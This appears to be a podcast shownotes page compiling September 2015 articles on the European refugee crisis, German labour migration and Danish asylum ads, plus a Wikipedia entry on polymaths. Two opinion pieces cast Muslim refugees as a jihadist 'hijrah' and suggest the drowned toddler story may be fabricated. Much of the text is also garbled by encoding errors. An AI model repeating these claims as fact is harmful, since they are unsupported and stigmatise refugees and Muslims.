Cover for No Agenda Show 755: iPope
September 10th, 2015 • 2h 56m

755: iPope


Every new episode of No Agenda is accompanied by a comprehensive list of shownotes curated by Adam while preparing for the show. Clips played by the hosts during the show can also be found here.

Mr. Robot
Brought it up in my therapy session - daemons!
Burger King red truck dog vs homeless guy
Polymath - Wikipedia, the free encyclopedia
Wed, 09 Sep 2015 21:48
"Renaissance man" redirects here. For use as a title of cultural works, see Renaissance Man.A polymath (Greek: ÏÎÎ>>υμαθής, polymathÄ's, "having learned much")[1] is a person whose expertise spans a significant number of different subject areas; such a person is known to draw on complex bodies of knowledge to solve specific problems. The term was first used in the seventeenth century; the related term, polyhistor, is an ancient term with similar meaning.[2]
The term is often used to describe great thinkers of the Renaissance and the Enlightenment who excelled at several fields in science and the arts. In the Italian Renaissance, the idea of the polymath was expressed by Leon Battista Alberti (1404''1472), in the statement that "a man can do all things if he will".[3] Embodying a basic tenet of Renaissance humanism that humans are limitless in their capacity for development, the concept led to the notion that people should embrace all knowledge and develop their capacities as fully as possible. This was expressed in the term "Renaissance man" which is often applied to the gifted people of that age who sought to develop their abilities in all areas of accomplishment: intellectual, artistic, social and physical. This term entered the lexicon during the twentieth century and has now been applied to great thinkers living before and after the Renaissance.
Renaissance ideal: the Renaissance manEdit"Renaissance man" was first recorded in written English in the early 20th century.[4] It is now used to refer to great thinkers living before, during, or after the Renaissance. Leonardo da Vinci has often been described as the archetype of the Renaissance man, a man of "unquenchable curiosity" and "feverishly inventive imagination".[5]
Many notable polymaths lived during the Renaissance period, a cultural movement that spanned roughly the 14th through to the 17th century and that began in Italy in the late Middle Ages and later spread to the rest of Europe. These polymaths had a rounded approach to education that reflected the ideals of the humanists of the time. A gentleman or courtier of that era was expected to speak several languages, play a musical instrument, write poetry, and so on, thus fulfilling the Renaissance ideal. The idea of a universal education was essential to achieving polymath ability, hence the word university was used to describe a seat of learning. At this time universities did not specialize in specific areas but rather trained students in a broad array of science, philosophy, and theology. This universal education gave them a grounding from which they could continue into apprenticeship toward becoming a Master of a specific field.
During the Renaissance, Baldassare Castiglione, in his guide The Book of the Courtier, described how an ideal courtier should have polymathic traits.[6] Castiglione's guide stressed the kind of attitude that should accompany the many talents of a polymath, an attitude he called sprezzatura. A courtier should have a detached, cool, nonchalant attitude, and speak well, sing, recite poetry, have proper bearing, be athletic, know the humanities and classics, paint and draw and possess many other skills, always without showy or boastful behavior, in short, with sprezzatura. The many talents of the polymath should appear to others to be performed without effort, in an unstrained way, almost without thought.
In some ways, the gentlemanly requirements of Castiglione recall the Chinese sage, Confucius, who far earlier depicted the courtly behavior, piety and obligations of service required of a gentleman. The easy facility in difficult tasks also resembles the effortlessness inculcated by Zen, such as in archery where no conscious attention, but pure spontaneity, produces better and more noble skill. For Castiglione, the attitude of apparent effortlessness should accompany great skill in many separate fields. In word or deed the courtier should "avoid affectation ... (and) ... practice ... a certain sprezzatura ... conceal all art and make whatever is done or said appear to be without effort and almost without any thought about it".[6][7]
This Renaissance ideal differed slightly from the polymath in that it involved more than just intellectual advancement. Historically (roughly 1450''1600) it represented a person who endeavored to "develop his capacities as fully as possible" (Britannica, "Renaissance Man") both mentally and physically.
When someone is called a "Renaissance man" or "Renaissance woman" today, it is meant that, rather than simply having broad interests or superficial knowledge in several fields, he or she possesses a more profound knowledge and a proficiency, or even an expertise, in at least some of those fields.[8]
Today, the expression "Renaissance man" is usually used to describe a person with intellectual or scholastic proficiency and not necessarily the more universal learning implied by Renaissance humanism. Some dictionaries use the term "Renaissance man" to describe someone with many interests or talents,[9] while others give a meaning restricted to the Renaissance and more closely related to Renaissance ideals.
Related termsEditAside from "Renaissance man" as mentioned above, similar terms in use are Homo Universalis (Latin) and Uomo Universale (Italian), which translate to "universal person" or "universal man". The related term generalist '' contrasted with a specialist '' is used to describe a person with a general approach to knowledge.
The term Universal Genius is also used, with Leonardo da Vinci as the prime example again. The term seems to be used especially when a person has made lasting contributions in at least one of the fields in which he was actively involved, and when he had a universality of approach.
When a person is described as having "encyclopedic knowledge", he or she exhibits a vast scope of knowledge. This designation may be anachronistic, however, in the case of persons such as Eratosthenes whose reputation for having encyclopedic knowledge pre-dates the existence of any encyclopedic object.
In sportsEditIn Britain, phrases such as "polymath sportsman", "sporting polymath", or simply "polymath" are occasionally used in a restricted sense to refer to athletes who have performed at a high level in several very different sports, rather than to those gifted in many fields of study. One whose accomplishments are limited to athletics would not be considered a "polymath" in the usual sense of the word. An example is Howard Baker, who was called a "sporting polymath" by the Encyclopedia of British Football for winning high jump titles and playing cricket, football, and water polo.[10]
References and notesEdit^The term was first recorded in written English in the early seventeenth century Harper, Daniel (2001). "Online Etymology Dictionary". Retrieved 2006-12-05. ^Far from suggesting or implying a distinction -- such as, a distinction between math and history, -- the terms "polymath" and "polyhistor" are [very nearly] synonyms (as indicated by the similarities in their Wiktionary entries, -- polymath and polyhistor -- and as discussed in more detail in the Polymath#Polymath and polyhistor compared section).^[1]^Harper, Daniel (2001). "Online Etymology Dictionary". Retrieved 2006-12-05. ^Gardner, Helen (1970). Art through the Ages. pp. 450''456. ^ abCastiglione, Baldassare. The Book of the Courtier: The Singleton Translation, ed. D. Javitch, (New York: Norton, 2002, 32).^D'Epiro, Peter and Desmond Pinkowish, Mary. Sprezzatura. (New York, Anchor Books, 2001).^"va=Renaissance man '-- Definition from the Merriam-Webster Online Dictionary". Retrieved 2012-04-06. ^"Oxford concise dictionary". Retrieved 2012-04-06. ^Cox, Richard (2002). Encyclopedia of British Football. Routledge. ISBN. p. 15Further readingEditBurns, Peter, "What makes a Renaissance Man?"Frost, Martin, "Polymath: A Renaissance Man"Grafton, A, 'The World of the Polyhistors: Humanism and Encyclopedism', Central European History, 18: 31''47. (1985)Jaumann, Herbert, "Was ist ein Polyhistor? Gehversuche auf einem verlassenen Terrain," Studia Leibnitiana, 22 (1990), 76-89Mirchandani, Vinnie, The New Polymath: Profiles in Compound-Technology Innovations", John Wiley & Sons, 2010Waquet, F, (ed.) 'Mapping the World of Learning: The 'Polyhistor' of Daniel Georg Morhof' (2000)Wiens, Kyle, "In defense of polymaths"External linksEdit
Germany needs 500,000 migrants a year until 2050 - study '-- RT News
Tue, 08 Sep 2015 18:36
With the baby boom generation preparing to retire, the scarcity of labor in Germany is likely to become chronic, with half a million immigrants needed annually for 35 years, a study claims, predicting a sharp drop in Germany's workforce.
READ MORE: Thousands of PEGIDA supporters march in Leipzig (PHOTOS)
Within the next 15 years, half of all German workers will become pensioners, the Bertelsmann Institute warns in a study published Friday. Without immigrants, Germany's labor pool is likely to shrink from current its 45 million to 29 million people (or 36 percent) by 2050.
Even if the number of employed women would somehow equal to that of men and the retirement age is prolonged to 70 years, this would only give additional 4.4 million workers. Further digitalization and robotization of production processes could decrease this shortage, however.
Germany's Destatis (Federal Statistics Office) estimates that in 2013 as many as 429,000 immigrants came to the country. In 2014 up to 470,000 people arrived.
Only about 25,000 out of a total of 140,000 non-EU immigrants who arrived in Germany in 2013 came specifically to find a job, with the majority coming either to study or to join their family, the study says. Others came as refugees.
The study claims that the economies of Southern Europe are beginning to exit the crisis, which means that they will need more workers at home while their unemployed are happy to find jobs in Germany.
''Germany can't rely on further high immigration from the EU. We must take the measures now that make Germany an attractive destination for non-EU citizens,'' said Bertelsmann Institute board member J¶rg Dr¤ger, as quoted by the Local.
The future EU internal migration to Germany is likely to be about 70,000 annually, so most of the workers will have to be imported from outside of the EU, the study suggests.
The instability in the Middle East, for instance, could facilitate the inflow of immigrants to Europe with Germany in the first place as the EU's strongest economy.
Dr¤ger believes that Germany needs a new immigration policy, a comprehensible immigration system that would make it clear to the qualified foreigners from outside the EU that they are needed in the country. In the first place, this would mean changing the immigration law to facilitate access to citizenship, and make naturalization programs attractive, such as offering programs to learn the local language, give access to the social security system and offer protection from discrimination.
READ MORE: 'Anti-Islamization' & 'pro-tolerance' activists march in Berlin (VIDEO)
At the same time, thousands of supporters of the PEGIDA movement in Germany are conducting mass rallies against 'Islamization' of the country.
PEGIDA is a German acronym, which translates as Patriot Europeans Against the Islamization of the West. Its core principle is that it sees the rise of the influence of Islam on European countries as dangerous, while its manifesto opposes extremism and calls for Germany's Judeo-Christian religious culture to be protected.
Germany is 'exploiting' refugee suffering to recruit 'slaves' via mass immigration '' Marine Le Pen '-- RT News
Thu, 10 Sep 2015 04:10
As Germany welcomes thousands of refugees, with industries seeking ways to integrate newcomers into country's workforce, Berlin's move to temporarily bypass EU-wide regulations has met strong criticism from France's Marine Le Pen who accused Germany of recruiting ''slaves.''
The German drive to open its doors to refugees, as well as debated plans to resettle asylum seekers across the EU has been met with strong criticism from a number of politicians, including the leader of right-wing French party National Front, Marine Le Pen who accused Germany of imposing its immigration policy on the EU.
''Germany probably thinks its population is moribund, and it is probably seeking to lower wages and continue to recruit slaves through mass immigration,'' Marine Le Pen said in Marseille, refusing to admit that pure benevolence was Germany's only motive.
Le Pen criticised European politicians for ''exploiting the suffering of these poor people who cross the Mediterranean Sea.''
''They are exploiting the death of the unfortunate in these trips organized by mafia, they show pictures, they exhibit the death of a child without any dignity just to blame the European consciences and make them accept the current situation,'' the National Front leader said.
Following days of chaos and uncertainty, thousands of refugees '' mostly Syrians '' were bused from Hungary to Austria, and then brought by train to Germany, after the countries agreed on allowing migrants access, bypassing the Dublin Regulation.
READ MORE: Thousands of refugees reach Germany after Hungary & Austria surrender to exodus
By Sunday night almost 11,000 migrants arrived in Germany, authorities in Munich said. Germany in August registered more than 100,000 asylum seekers with some 800,000 refugees overall expected to come to Germany in total this year '' four times the level of last year.
However, Le Pen blamed Germany for its policies which will affect the whole of the European Union.
''Germany seeks not only to rule our economy, it wants to force us to accept hundreds of thousands of asylum seekers,'' she said, adding that France would not its doors to the ''world's misery.''
READ MORE: Most French citizens oppose softer rules on refugee status, even for Syrians '' poll
While the French National Front leader criticized German actions and their potential knock-on effect in the EU, Turkish PM Ahmed Davutoglu said that German portion of the refugees influx is ''ridiculously small.'' He accused the EU of building a ''Christian fortress'' in Europe, pointing out that Turkey had already accommodated more than two million people from Syria and Iraq.
The Turkish PM's comments came in reply to Hungarian Prime Minister Viktor Orban's statements calling for the defense of Europe's prosperity, identity and ''Christian values'' against Muslim migrants. On Sunday, the Hungarian PM, accused Germany of exacerbating the refugee crisis.
''As long as Austria and Germany don't say clearly that they won't take in any more migrants, several million new immigrants will come to Europe,'' Orban told Austrian broadcaster ORF.
Austria has already announced that it planned to end emergency measures that have allowed thousands of refugees in Hungary entry into Austria and Germany, but provided no exact details.
''We have always said this is an emergency situation in which we must act quickly and humanely. We have helped more than 12,000 people in an acute situation,'' Austrian Chancellor Werner Faymann said. ''Now we have to move step-by-step away from emergency measures toward normality, in conformity with the law and dignity.''
Meanwhile even in the face of criticism, the Germans are doing everything to warmly welcome and help the newcomers. Berlin plans to introduce a supplementary budget to free up funds for the refugees while the business elite is looking to utilize migrant skills to close the gap in the lack of professional and skilled labor on the market.
On Saturday German Finance Minister Wolfgang Schaeuble said that hosting the migrants will cost the government, federal states and municipalities 10 billion euros this year as opposed to 2.4 billion euros in 2014. Angela Merkel meanwhile announced that Germany can cope with refugees without raising taxes.
Big businesses are optimistic about prospects for integrating the refugees into the German workforce, as an aging population in the country and low birth rate are eating away at its pool of skilled labor.
''If we can integrate them quickly into the jobs market, we'll be helping the refugees, but also helping ourselves as well,'' the head of the powerful BDI industry federation, Ulrich Grillo, said this week, cited by AFP.
Germany with its 6.4 percent unemployment rate is still short of 140,000 engineers, programmers and technicians. The healthcare and leisure sectors are also low on skilled workers, with sociological research showing that shortage of qualified workers will rise to 1.8 million in 2020. If nothing is done to reverse the trend as many as 3.9 million jobs will need to be filled by 2040.
The influx of migrants could therefore be the answer as many of them are young and have ''really good qualifications,'' said Grillo.
Meanwhile the flow of migrants risking the dangerous journey across the Mediterranean shows no sign of easing. More than 2,600 have died this year making the journey. But despite the massive influx of refugees and the flawed EU asylum system, the UN refugee chief Antonio Guterres said the crisis was ''manageable.''
''The European asylum system is deeply dysfunctional, it works badly. Some countries make the necessary effort, and the effort of many others is nearly non-existent,'' he told French radio station RFI and the TV5Monde television channel.
Guterres's comments came as German Finance Minister Wolfgang Schaeuble urged EU states to ''act together'' to come up with a single EU-wide policy. Faymann meanwhile said there is ''no alternative to a common European solution.''
On Wednesday, European Commission President Jean-Claude Juncker is scheduled to present a plan to relocate 120,000 refugees from Italy, Greece and Hungary. Under the new arrangement Germany is to accept a further 31,000 migrants, followed by France with 24,000 and Spain with almost 15,000, Germany's Welt am Sonntag newspaper reported.
Google Traduction
Thu, 10 Sep 2015 04:09
Source :
Cible :
Germany: employers want more refugees
Thu, 10 Sep 2015 04:09
Nous sommes depuis longtemps un pays d'immigration et nous devons le rester>>, estime le patron de la F(C)d(C)ration allemande de l'industrie. Qui appelle s'opposer toutes les formes de x(C)nophobie>>.Le pr(C)sident de la F(C)d(C)ration allemande de l'industrie (BDI, patronat) a estim(C) mardi que l'Allemagne devait accueillir plus de r(C)fugi(C)s, alors que le pays conna®t une vague de protestation anti-islam.
Nous sommes depuis longtemps un pays d'immigration et nous devons le rester>>, a assur(C) Ulrich Grillo, dans un entretien l'agence de presse allemande DPA. En tant que pays prosp¨re et aussi par amour chr(C)tien de son prochain, notre pays devrait se permettre d'accueillir plus de r(C)fugi(C)s>>, a-t-il ajout(C). Je me distancie tr¨s clairement des n(C)onazis et des racistes qui se rassemblent Dresde et ailleurs>>, a encore ajout(C) M. Grillo.
Emoi autour des manifestations du lundi>>Quelque 17.500 personnes ont d(C)fil(C) lundi soir Dresde, dans l'est de l'Allemagne, pour d(C)noncer ce qu'ils pr(C)sentent comme une islamisation de l'Allemagne. C'(C)tait la dixi¨me fois lundi que se tenait une telle manifestation mais jamais elle n'avait atteint une telle ampleur. Aucun rassemblement n'est pr(C)vu lundi prochain, entre Nol et le jour de l'An.
Ces d(C)fil(C)s suscitent un vif (C)moi, notamment parmi les responsables politiques dont la chanceli¨re Angela Merkel, et poussent aussi des milliers de contre-manifestants dans les rues. Dans l'ensemble de l'Allemagne, lundi soir, les d(C)fenseurs du droit d'asile ont d'ailleurs (C)t(C) plus nombreux que ses adversaires. Les manifestations du lundi>> rassemblent notamment ceux qui craignent une mont(C)e de l'islamisme en Allemagne sur fond d'afflux massif de r(C)fugi(C)s fuyant les zones de conflit en Syrie, Afghanistan ou Irak.
Nous devons nous opposer toutes les formes de x(C)nophobie>>, a encore soulign(C) le dirigeant de la puissante f(C)d(C)ration qui rassemble plus de 100.000 entreprises employant au total 8 millions de salari(C)s.
L'Allemagne, premi¨re destination d'immigration en EuropePour la d(C)l(C)gu(C)e aupr¨s du gouvernement allemand pour les questions d'int(C)gration, Aydan –zoguz, lutter contre le racisme passe par un travail pr(C)ventif. Nous devons faire davantage en mati¨re de diffusion du savoir>>, a-t-elle jug(C) dans un entretien l'AFP. Cela n(C)cessite certes plus de temps mais cela a un impact plus durable.>> Elle s'est dite inqui¨te>> de voir qui descendait dans la rue : ceux qui ont peur personnellement du d(C)classement social ceux qui craignent de devenir des (C)trangers dans leur pays en passant par ceux qui ont une haine diffuse l'(C)gard de l'islam>>.
M. Grillo a rappel(C) que l'Allemagne, pays dont la population est vieillissante, avait besoin de main-d'oeuvre qualifi(C)e (C)trang¨re. En raison de notre (C)volution d(C)mographique, nous assurons de la croissance et de la prosp(C)rit(C) avec l'immigration>>, a-t-il estim(C).
En 2013, l'Allemagne comptait quelque 7,6 millions d'(C)trangers sur sol, sur une population de quelque 81 millions d'habitants, soit un niveau record depuis la mise en place de statistiques. Le pays, r(C)put(C) pour sa bonne sant(C) (C)conomique actuelle, notamment son faible taux de ch´mage, est devenu la principale destination d'immigration en Europe.
Source AFP
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Hiraj - Wikipedia, the free encyclopedia
Thu, 10 Sep 2015 04:00
This article has multiple issues. Please help improve it or discuss these issues on the talk page.This article is an orphan, as no other articles link to it. Please introduce links to this page from related articles; try the Find link tool for suggestions. (July 2013)This article does not cite any references or sources. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.(July 2013)Hiraj (Urdu: ہراج'Ž) is a Punjabi tribe in Pakistan.
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The Hijrah Into Europe | Frontpage Mag
Thu, 10 Sep 2015 04:00
Approximately 104,460 asylum seekers arrived in Germany during the month of August, setting a new record. That makes 413,535 registered refugees and migrants coming to Germany in 2015 so far. The country expects a total of around 800,000 people to seek asylum in Germany this year. And that's just Germany. The entire continent of Europe is being inundated with refugees at a rate unprecedented in world history. This is no longer just a ''refugee crisis.'' This is a hijrah.
Hijrah, or jihad by emigration, is, according to Islamic tradition, the migration or journey of Muhammad and his followers from Mecca to Yathrib, later renamed by him to Medina, in the year 622 CE. It was after the hijrah that Muhammad for the first time became not just a preacher of religious ideas, but a political and military leader. That was what occasioned his new ''revelations'' exhorting his followers to commit violence against unbelievers. Significantly, the Islamic calendar counts the hijrah, not Muhammad's birth or the occasion of his first ''revelation,'' as the beginning of Islam, implying that Islam is not fully itself without a political and military component.
To emigrate in the cause of Allah '' that is, to move to a new land in order to bring Islam there, is considered in Islam to be a highly meritorious act. ''And whoever emigrates for the cause of Allah will find on the earth many locations and abundance,'' says the Qur'an. ''And whoever leaves his home as an emigrant to Allah and His Messenger and then death overtakes him, his reward has already become incumbent upon Allah. And Allah is ever Forgiving and Merciful.'' (4:100) The exalted status of such emigrants led a British jihad group that won notoriety (and a shutdown by the government) a few years ago for celebrating 9/11 to call itself Al-Muhajiroun: The Emigrants.
And now a hijrah of a much greater magnitude is upon us. Evidence that this is a hijrah, not simply a humanitarian crisis, came last February, but was little noted at the time and almost immediately forgotten. The Islamic State published a document entitled, ''Libya: The Strategic Gateway for the Islamic State.'' Gateway into Europe, that is: the document exhorted Muslims to go to Libya and cross from there as refugees into Europe. This document tells would-be jihadis that weapons from Gaddafi's arsenal are plentiful and easy to obtain in Libya '' and that the country ''has a long coast and looks upon the southern Crusader states, which can be reached with ease by even a rudimentary boat.''
The Islamic State did not have in mind just a few jihadis crossing from Libya: it also emerged last February that the jihadis planned to flood Europe with as many as 500,000 refugees. Now the number is shooting well beyond that in Germany alone. Of course, not all of these refugees are Islamic jihadis. Not all are even Muslims, although most are. However, no effort whatsoever is being made to determine the refugees' adherence to Sharia and desire to bring it to their new land. Any such effort would be ''Islamophobic.'' Yet there are already hints that the Islamic State is putting its plan into effect: jihadis have already been found among the refugees trying to enter Europe. There will be many more such discoveries.
Eight hundred thousand Muslim refugees in one year alone. This will transform Germany, and Europe, forever, overtaxing the welfare economies of its wealthiest nations and altering the cultural landscape beyond recognition. Yet the serious public discussion that needs to be had about this crisis is shouted down by the usual nonsense: the Washington Post Wednesday published an inflammatory and irresponsible piece likening those concerned about this massive Muslim influx into Europe to 1930s Nazis ready to incinerate Jews by the millions. Hollywood star Emma Thompson accused British authorities of racism for not taking in more refugees '' as if British authorities haven't already done enough to destroy their nation.
And so it goes. If you don't accept the brave new world that is sure to bring more jihad and more Sharia to Europe, you're a Nazi and a racist. Meanwhile, no one is bothering even to ask, much less answer, one central question: why is it incumbent upon Europe have to absorb all these refugees? Why not Saudi Arabia or the other Muslim countries that are oil-rich and have plenty of space? The answer is unspoken because non-Muslim authorities refuse to believe it and Muslims don't want it stated or known: these refugees have to go to Europe because this is a hijrah.
This is also Europe's death knell.
Je suis Alyan? | The Vineyard of the Saker
Thu, 10 Sep 2015 05:39
by Ghassan and Intibah Kadi
The human tragedy in Syria is one thing, and the hypocritical manner in which the West is dealing with it is an absolute shamble.
To begin with, it was the Western sphere of influence that destabilized four states in the region over the last two decades; namely Afghanistan, Iraq, Libya and Syria. One may argue that Afghanistan had been a hotspot before the US-led invasion, but certainly that invasion did not make the situation any more stable. It is heartening to see that the world has finally woken up to the fact that the West has been instrumental in creating refugees that it finds itself not wanting to deal with.
But this is not the main subject of this article.
What we should be looking at now is the wave of Syrian refugees flooding into Europe. There are many question marks about this subject, question marks that do not meet the eye without some deeper investigation.
It is not uncompassionate or inhumane to ask legitimate questions when one smells a rat, and generally speaking, when Western mainstream media are having a frenzy, there is normally a huge dead rotten rat waiting to be uncovered. It is not uncompassionate and inhumane to ask questions even when the subject matter is refugees and when human suffering is so obvious. Quite the contrary indeed, if someone is using human suffering in order to score political, or even worse, financial gain, then such a culprit should be exposed.
From this perspective, it is imperative to make the following remarks and to pose questions about the wave Syrian of refugees and the huge media coverage of the photo of the drowned little boy Aylan:
1. Early in the mark of the ''War On Syria'', battles lines were not drawn yet and as the alleged freedom fighters, soon turned sectarian terrorists, started waging sectarian cleansing campaigns, many citizens were caught on the ''wrong side'' and they had to flee to safety. This created the initial big flood of refugees and one can clearly understand the reason behind it. Later on, as the fighting intensified, some of those safe havens turned into battle fields, and even though citizens did not fear being singled out and persecuted, they ran away to safety, and one can also understand the rationale behind such moves.
On this count, we must be aware of the fact that an estimated 80% of genuine Syrian refuges are ''internal refugees''. In other words, they moved within Syria into safer areas, and many of their youth are in the Syria Army or the civilian-based National Defence Forces (NDF). A substantial percentage of those who fled Syria are either anti-government sympathizers, ie supporters of the FSA/Al-Nusra/ISIS, or simply trying to evade military service; in simple terms, deserters.
And now, four and a half years into this war, and even though the battles are still raging, most (if not all) of those battle zones have already been vacated. So the question is this, where are those recent refugees coming from? If they are indeed fleeing Syria now, which part of Syria are they leaving and for what reason? And last but not least, how did they manage to get on the boats out of Syria en route to Europe?
2. If those refugees are not leaving Syria now, then a large number of them must have been living in some refugee camp(s) outside Syria. Such camps are mainly in Turkey, Jordan and Lebanon. There is no evidence at all to indicate that they are leaving from either Lebanon or Jordan. The fact that Aylan's body was found in Bodrum Turkey and that four people's smugglers were arrested in Turkey, not to forget that the proximity of Turkey to Hungary, is all indicative that those refugees had settled in Turkey for some time before making their exodus to Europe. We must remind ourselves that while staying in refugee camps in Turkey, Syrian refugees were not allowed to leave them. This background and logical assumption stipulates two questions: Why were the refugees suddenly allowed to leave their camps? if that is the case, is there anything sinister about this timing and decision?
3. A good look at the refugees clearly reveals that most of them are young men in their late twenties to early thirties. This gender-based nature, plus the age group, and not to forget that a huge percentage of the external Syrian refugees are in fact supporters of anti-government forces, brings up the subject of their possible affiliation with Islamic fundamentalists. This easy-to-make observation carries many questions:
'' Where are their families that they are allegedly trying to remove from war zones?
'' Why are they not fighting the terrorists alongside the Syrian Army or NDF?
'' How do we know, and more importantly, how will the Western European governments be certain that some of those young men are not in fact ISIS members or supporter?
'' If accepted as refugees in the EU, and if indeed some of them are ISIS operatives, and this is a very likely possibility, is the EU going to be prepared to deal with them over and above the already-existing ISIS sleeper cells spread all over Western Europe?
4. For thousands of refugees to all decide on a route to go to Germany via Hungary cannot be by accident. Why Hungary? One would ask? Is there a sinister plot to punish Hungary? Then by whom and for what reason?
5. What is really behind the media frenzy of one poor little toddler washed up on the shores of Turkey? We may not be yet able to answer the above questions, but on this particular one, the mystery is clearing up about the frenetic and hysterical ''Je Suis Charlie''-style portrayal of one poor dead Syrian child.
What has become clear is that the Aylan story has been turned into a money spinner for at least one group that wants to raise more funds in its last desperate attempt to push for a win against the people and government of Syria.
The highly dubious British charity ''Hand in Hand for Syria'' which is part of the sinister network against Syria, is getting funds raised in name of the drowned toddler. ''Hand in Hand for Syria'' has a history of fabricating evidence. Along with BBC Panorama they staged a fictitious Hollywood-style joint production ''Saving Syria's Children'', which was cobbled together in order to influence the British parliament vote back in 2013 to invade Syria. It has a huge stake in all this current media hype.
This link provides proof about the fund being set up and moneys going to ''Hand in Hand for Syria''
And these are the words of Robert Stuart, the crusader who originally exposed the joint BBC/''Hand in Hand for Syria'' charade
Of course many poor refugees are washed up on the shores throughout the region and we cannot discount the Aylan story out right, but we should not be surprised that the whole thing is a fabrication.
Certain questions never get answered. We may never find out who killed Kennedy, the real and full story behind September 11. What we do know is that Western media and the Murdoch tabloids have taken an oath of deception. They are unable to speak a word of truth. So before we see Obama wearing a ''Je Suis Aylan'' T-shirt and waves of millions follow suite like blind sheep, we should never take any Western mainstream media story at face value.
Ghassan and Intibah Kadi blog at
Donate cash if you want to help Syrian refugees, aid groups say | World news | The Guardian
Thu, 10 Sep 2015 03:28
Syrian refugees stand outside tents at a camp in Bar Elias, Lebanon. The WFP and Unicef say they are having to cut assistance to 500,000 people in need. Photograph: Bilal Hussein/Associated Press
Charities and aid agencies have urged the public to donate money to help support Syrian refugees rather than offer items such as tents or blankets.
The World Food Programme (WFP) and Unicef have said they are facing a chronic lack of funding and are being forced to cut aid including food, healthcare and education programmes for the estimated 4 million Syrians stranded in camps in countries across the Middle East.
They say an increasing number of ''protracted refugees'' living in centres in Jordan, Lebanon, Turkey and Iraq will attempt the treacherous journey to Europe because they cannot offer their families a life or a future in the camps.
The WFP said aid fatigue has left it with a $341m (£221m) shortfall, forcing it to cut to 500,000 recipients from its food programme because of the falling international interest in the crisis. It distributes basics including lentils, rice and beans to about 4 million refugees in Syria and another 1.4 million outside the country.
Related:Syrian refugee crisis: Lebanon steps up while Britain fails to engage | Mary Creagh
Abeer Etefa, a spokeswoman for the WFP in the Middle East, said: ''Every little initiative helps, but right now we need cash. It costs us $46m to feed people every week and we are having to take the less vulnerable off the list and deal with only the extremely vulnerable.''
Islamic Relief (IR), a charity established in Birmingham more than 30 years ago that is working inside Syria and in neighbouring countries, echoed the appeal for donations.
Martin Cottingham, IR's head of communications, said: ''What the agencies on the ground need most of all is cash. Sometimes the impulse is there to help and that is great, and we have a heart for the people in need and want to connect with them. We have seen people organise convoys and while we hugely admire the bravery and commitment, please channel your desire to help through the charities on the ground.''
The UN said it has only raised 37% of the funds it needs to keep operations going, while Unicef said the humanitarian operation in the Middle East is the worst the agency has seen in its nearly 70 years of existence.
The Disasters Emergency Committee (DEC), which acts as an umbrella fundraising body for aid charities, is considering launching a fresh appeal to help refugees, but said it needs to be convinced the public will respond.
The DEC works with 13 charities and has to satisfy three criteria before it will launch an appeal. The criteria are: is there an overwhelming need? Is there an ability of members to respond? Is there public support?
Its last Syrian appeal was cut short as the public response declined. A DEC spokesman said: ''It was 2013 and we continued it because we did not feel in conscience that we could end it, but after 13 months we had to close it because the money simply wasn't there.''
Related:German paper Bild removes all photos in protest over Alan Kurdi complaints
Charities have reported a surge in donations since the publication of the photograph of Alan Kurdi, the three-year-old boy who drowned on a Turkish beach, with Save the Children raising £1.2m in a matter of days.
But the DEC's last Syrian campaign raised just £27m, compared to £83m for the Nepal earthquake appeal and the £392m donated in the wake of the Indian Ocean tsunami in 2004.
Juliette Touma, Unicef's spokeswoman in Jordan, said: ''The focus in the past week has been on the refugees in Europe, but it is important to make the link to Syria, where 70% to 80% [of them] have come from.''
She said the UK has been one of its biggest donors, but the public can help by giving cash and becoming advocates, writing to their MPs and holding fundraising events.
Touma said: ''I have been here since the beginning almost five years ago. It is about time the war finished. Here in Unicef we have never seen anything like this.''
Many families are taking extreme measures to cope with the difficult circumstances, including removing their children from school so that they can work, incurring large debts and cutting back on the nutritional value and quantity of the food they eat.
Unicef said child labour is on the increase: ''In Jordan, close to half of all Syrian refugee children are now the joint or sole family breadwinner.''
Related:Syrian refugee crisis: why has it become so bad?
M(C)decins sans Fronti¨res (MSF) also appealed to donors. A spokesman in Amman said that, while its operations are fully funded, ''no matter how much money we throw at it, it is never enough''.
MSF's Sam Taylor said: ''I am not sure if people are really aware how appalling it is. We have an operation an hour away on the border and the barrel bombs cause horrific injuries.''
Islamic Relief and MSF said the health system in Syria is decimated and the need for reconstructive surgery and burns treatment is enormous. There are an estimated 1.5 million people with non-life threatening injuries due to the conflict.
Denmark publishes anti-refugee ad campaign - The Local
Wed, 09 Sep 2015 14:40
Integration Minister Inger St¸jberg. Photo: Claus Bech/Scanpix
UPDATED: The Danish government's much-discussed advertising campaign publicising recent welfare cuts made their debut in Lebanese newspapers on Monday.
Just as the first wave of refugees began arriving in Denmark from Austria and Germany over the weekend, the Danish government has kicked off an advertising campaign meant to keep them away.
On Monday, the first adverts from the Danish government were published in four Lebanese newspapers.
An English-language version, published in Lebanon's The Daily Star, informs readers that ''Denmark has decided to tighten the regulations concerning refugees in a number of areas.''
See the English ad in full here:
St¸jberg's 'scare campaign' has been highly controversial, even leading to criticism from within her own Venstre party. On Monday, Venstre MEP Jens Rohde accused his party cohort of making a political show for the gallery.
''One wishes that our minister '' before she sets a bunch of things in action and appears on TV thumping her chest about how strong she is '' would do some field studies so she could actually see what the conditions are like in Syria, Libya, Greece and the refugee camps,'' he told Jyllands-Posten.
Migration experts have also cast doubt on the effectiveness of the ads, which cost the Ministry for Immigration, Integration and Housing some 252,000 kroner ($37,650).
"As the refugee pressure looks in Europe right now, I don't think one will redirect many by giving out this kind of information," Ninna Nyberg S¸rensen, a migration researchers at the Danish Institute for International Studies, told Jyllands-Posten.
St¸jberg took to Facebook to defend the ads.
"Today I have, as promised, published advertisements in four Lebanese newspapers informing about the changed conditions for people who apply for asylum in Denmark," she wrote.
She said the text would also be placed in asylum centres in Denmark in ten different languages and spread on social media.
"The aim is to inform objectively and soberly about [Danish rules], which the government is in the process of tightening," she added. "In light of the huge influx to Europe these days, there is good reason for us to tighten rules and get that effectively communicated."
Her Facebook post garnered over 5,000 likes, though some left critical comments.
"You should be ashamed," wrote user Dorthe Agertoug from the southeastern town of K¸ge.
"One of the greatest humanitarian catastrophes in recent times and our government's answer is to publish advertisements. It's a parody," added Vivi Ravnskjaer Terp in the southwestern town of Vojens.
A spokeswoman for Denmark's integration ministry denied a report that five major newspapers in Turkey had refused to carry the adverts.
A privately-funded campaign purchased advertisements in the UK paper The Guardian and a Germany newspaper last month to counter the government's own ads. Those ads told refugees that ''we welcome you to Denmark'' and accused St¸jberg of acting on ''the ill-conceived and erroneous logic that families calculate where they may profit the most from settling as refugees''.
